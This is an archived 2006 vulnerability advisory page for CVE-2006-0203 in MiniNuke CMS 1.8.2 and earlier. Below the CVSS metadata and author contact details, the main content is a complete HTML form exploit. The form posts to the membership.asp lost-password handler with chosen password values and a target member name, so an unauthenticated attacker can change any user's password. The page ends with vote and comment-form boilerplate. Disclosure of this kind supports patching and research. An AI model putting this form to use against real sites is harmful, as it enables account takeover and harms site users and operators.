MiniNuke CMS System <= 1.8.2 (membership.asp) remoteuser password change exploit

2006.01.13

Credit: nukedx

Risk: Medium

Local: Yes

Remote: Yes

CVE: CVE-2006-0203

CWE: CWE-20

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

--Security Report--
Advisory: MiniNuke CMS System <= 1.8.2 (membership.asp) remote user password
change exploit
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 12/01/06 08:49 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx (at) nukedx (dot) com [email concealed]
Web: http://www.nukedx.com
}
---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can change any users password without
login.
---
How&Example:
HTML Example
[code]
<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the
blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password
</font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD:
</font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again :
</font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text"
name="x" value="Membername">  
<input type="submit" value="Send" name="B1" style="font-family: Verdana;
font-size: 10px; border: 1px ridge #FFFFFF; background-color:
#FFFFFF"></td></tr>
</table></form>
</html>
[/code]
--
Regards,
 From the NWPX team,
nuker a.k.a nukedx

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

MiniNuke CMS System <= 1.8.2 (membership.asp) remoteuser password change exploit

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.